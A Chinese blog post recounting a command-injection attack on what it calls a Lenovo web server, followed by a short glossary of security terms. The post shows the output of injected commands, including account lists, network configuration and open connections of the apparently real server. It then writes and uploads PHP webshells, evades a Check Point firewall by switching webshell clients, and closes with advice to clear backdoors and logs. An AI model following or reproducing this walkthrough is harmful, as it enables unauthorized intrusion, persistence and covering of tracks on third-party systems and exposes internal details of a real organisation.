您的位置:首页 > 博客中心 > 互联网 >

命令执行

时间:2022-05-11 07:38

1、 联想某站命令执行

 

开启Firefox,输入:

 

Webserver返回如下信息:

 技术分享

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1

Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1

Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1

 

看到了吗,直接就报错了

 

看到这一行错误:Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1

 

此时,我们该会想到:可能是system() 函数执行的时候,因未传入参数而导致执行时出错。

 

看到这一行错误:Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1

 

此时,我们该会想到:可能是传入了a变量

 

开启Firefox,输入:=

 

Webserver返回如下信息:


Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1

Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1

 

看到了吗,以前那个错误:Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1

 

已经消失了

 

说明,确实是传入了a变量

 

那么,此时,我们为a变量赋一个值,提交至webserver

 

开启Firefox,输入:

 

Webserver返回如下信息:


Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1

 

意外,现在竟然只有一个错误了:没有定义的常量a

 

其实,这个错误是因为系统cmd找不到123这个系统命令,才报此错误的。

 

如果,我们提交如下这些系统命令,那么,肯定都会被系统cmd成功执行

 

提交:

 

webserver返回如下信息:


Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
vm-cmr2\vmcmr2 vm-cmr2\vmcmr2

 

提交:

 

webserver返回如下信息:

 

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
Microsoft Windows [Version 5.2.3790] Microsoft Windows [Version 5.2.3790]

 

提交:

 

webserver返回如下信息:

 

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.122.254.27 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.122.254.254 Default Gateway . . . . . . . . . : 10.122.254.254

 

提交:

 

webserver返回如下信息:


Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
User accounts for \\VM-CMR2 ------------------------------------------------------------------------------- Admin1 Admin2 Administrator ASPNET fanjing Guest guowei9 iadapter IUSR_VM- IWAM_VM- jianbo1 lipcadmin splunklogc SUPPORT_388945a0 tanghr1 tivoli_admin Viewer1 Viewer2 vmcmr2 wangpeng9 Windowsadm yaoye1 yeduo1 zhanggl1 zhangzhen1 The command completed successfully.

 

提交:

 

webserver返回如下信息:


Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 1236 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 712 TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 452 TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1030 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING 1388 TCP 0.0.0.0:1079 0.0.0.0:0 LISTENING 836 TCP 0.0.0.0:1556 0.0.0.0:0 LISTENING 1968 TCP 0.0.0.0:1920 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1320 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 3080 TCP 0.0.0.0:3661 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:6014 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:6087 0.0.0.0:0 LISTENING 2896 TCP 0.0.0.0:13724 0.0.0.0:0 LISTENING 2128 TCP 0.0.0.0:13782 0.0.0.0:0 LISTENING 2916 TCP 0.0.0.0:25001 0.0.0.0:0 LISTENING 2000 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 TCP 10.122.254.27:80 43.225.238.8:2860 TIME_WAIT 0 TCP 10.122.254.27:80 43.225.238.8:2873 ESTABLISHED 2528 TCP 10.122.254.27:139 0.0.0.0:0 LISTENING 4 TCP 10.122.254.27:1029 10.122.254.27:1354 ESTABLISHED 1452 TCP 10.122.254.27:1045 10.96.25.15:1918 ESTABLISHED 1452 TCP 10.122.254.27:1079 10.99.10.216:33038 ESTABLISHED 836 TCP 10.122.254.27:1151 10.96.25.15:63358 ESTABLISHED 1452 TCP 10.122.254.27:1354 10.122.254.27:1029 ESTABLISHED 1452 TCP 10.122.254.27:1356 10.122.254.27:1920 ESTABLISHED 1452 TCP 10.122.254.27:1358 10.122.254.27:3661 ESTABLISHED 1452 TCP 10.122.254.27:1920 10.122.254.27:1356 ESTABLISHED 1452 TCP 10.122.254.27:3661 10.122.254.27:1358 ESTABLISHED 1452 TCP 10.122.254.27:4404 74.125.23.139:80 SYN_SENT 2668 TCP 127.0.0.1:1032 127.0.0.1:1033 ESTABLISHED 1968 TCP 127.0.0.1:1033 127.0.0.1:1032 ESTABLISHED 1968 TCP 127.0.0.1:1035 0.0.0.0:0 LISTENING 1968 TCP 127.0.0.1:1035 127.0.0.1:1038 ESTABLISHED 1968 TCP 127.0.0.1:1035 127.0.0.1:1044 ESTABLISHED 1968 TCP 127.0.0.1:1038 127.0.0.1:1035 ESTABLISHED 2128 TCP 127.0.0.1:1041 0.0.0.0:0 LISTENING 2916 TCP 127.0.0.1:1044 127.0.0.1:1035 ESTABLISHED 2916 TCP 127.0.0.1:1046 0.0.0.0:0 LISTENING 3388 TCP 127.0.0.1:1557 0.0.0.0:0 LISTENING 1968 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1236 UDP 0.0.0.0:161 *:* 1864 UDP 0.0.0.0:445 *:* 4 UDP 0.0.0.0:500 *:* 452 UDP 0.0.0.0:4500 *:* 452 UDP 0.0.0.0:6087 *:* 2896 UDP 0.0.0.0:52311 *:* 1112 UDP 10.122.254.27:123 *:* 800 UDP 10.122.254.27:137 *:* 4 UDP 10.122.254.27:138 *:* 4 UDP 127.0.0.1:123 *:* 800 UDP 127.0.0.1:1047 *:* 3104 UDP 127.0.0.1:4378 *:* 2668 UDP 127.0.0.1:4378 *:* 2668

 

如果,此时,我们的思维足够开阔一些,就该会想到,这里既然可以通过调用系统cmd来执行命令,那么,我们通过调用系统cmd来写php一句话木马的shell应该也不是什么问题吧。

 

显然是可以的,安全的思维能力就在于发散。

 

其实,通过echo命令,你就可以将php一句话木马写入到C:\xampp\htdocs目录下,与a.php文件目录同级

 

echo ^ > C:\xampp\htdocs\x.php

 

写入后,我们就可以轻松获取到shell了

 

获取到shell后,审计站点源代码,才发现,这个a.php文件的源代码如下:

 

 

确实跟预想的差不多

 

如图所示:

技术分享

在命令执行的利用过程中,其实,也遇到了不少的问题,比如,通过echo命令将php一句话木马写入到web站点目录后,通过中国菜刀获取shell时并没有成功,分析原因后,发现,原来:中国菜刀对php一句话木马的连接是被checkpoint防火墙拦截了,到此,真就没办法了吗,不是的,这时,我们可以想办法绕过这个checkpoint防火墙的拦截,思路有如下:

 

1、 修改中国菜刀连接特征码

2、 更换其他的连接工具

3、 直接绕过checkpoint

 

显然,如果不是防火墙高手,根本不可能直接绕过checkpoint防火墙,修改中国菜刀连接特征码,也需要一定的数据包分析技术,如:wireshark抓包分析,最简单、直接的办法是:更换其他的连接工具,如:lanker3.0,t00ls论坛倾力打造工具,可以一试。

 

我们使用lanker3.0试试看

 

开启Firefox,访问lanker一句话PHP后门客户端3.0内部版

 

提示输入,php一句话木马连接的服务端地址与密码

 

输入地址: 密码:x

 

如图所示:

技术分享

选择服务器基本信息,提交

 

Webserver返回如下信息:

 

服务器系统:WINNT

服务器操作系统文字编码:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

服务器IP:106.37.234.18

Web服务端口端口:80

PHP运行方式:APACHE2HANDLER

PHP版本:5.4.27

本文件路径:

 

可见,我们的php一句话木马已经是连接成功了,不然这里也没法执行命令,对吧,其实,这里已经相当于获取到了该站点的shell了。

 

接下来,通过x.php小马,上传x.php大马,如图所示:

技术分享

大马上传成功后,开启Firefox,输入才上传大马的服务端地址,就可以成功访问了:

技术分享

此时,输入大马的密钥,成功获取webshell!

技术分享

至此,我们命令执行的利用算彻底讲完了。

 

记得清理后门与日志!

 

今天有人问到一个问题,什么是shell

 

那么,我就来详细的为大家讲述一下shell及shell扩展的一些概念

 

顺便把安全行业的其他几个术语也一并讲了

 

Shell:简单地讲就是壳,可以执行命令的壳,如cmdshell,bashell,cshell,与核(内核)是一对相反的概念,大家自行百度。

 

Webshell:即web界面中,可以调用cmd/wscript/xp_cmdshell直接执行命令的壳,如小马,大马等直接可以执行命令的shell,即是webshell。

 

Cmdsehll:即cmd.exe程序运行所产生的可以执行其他系统命令的壳。

 

Bashell:Unix/Linux中,可以直接执行系统命令的壳。

 

Cshell:Unix/Linux中,可以直接执行系统命令的壳。

 

Poc:proof of concept,即概念证明,一段可以证实一个漏洞真实性的测试代码。

 

Exp:exploit,漏洞利用,一段可以利用一个漏洞的完整代码。

 

Playload:有效载荷,poc或者exp中,可执行的代码。

 

Shellcode:即用来发送到服务器利用特定漏洞的代码,一般可以获取权限。

本类排行

今日推荐

热门手游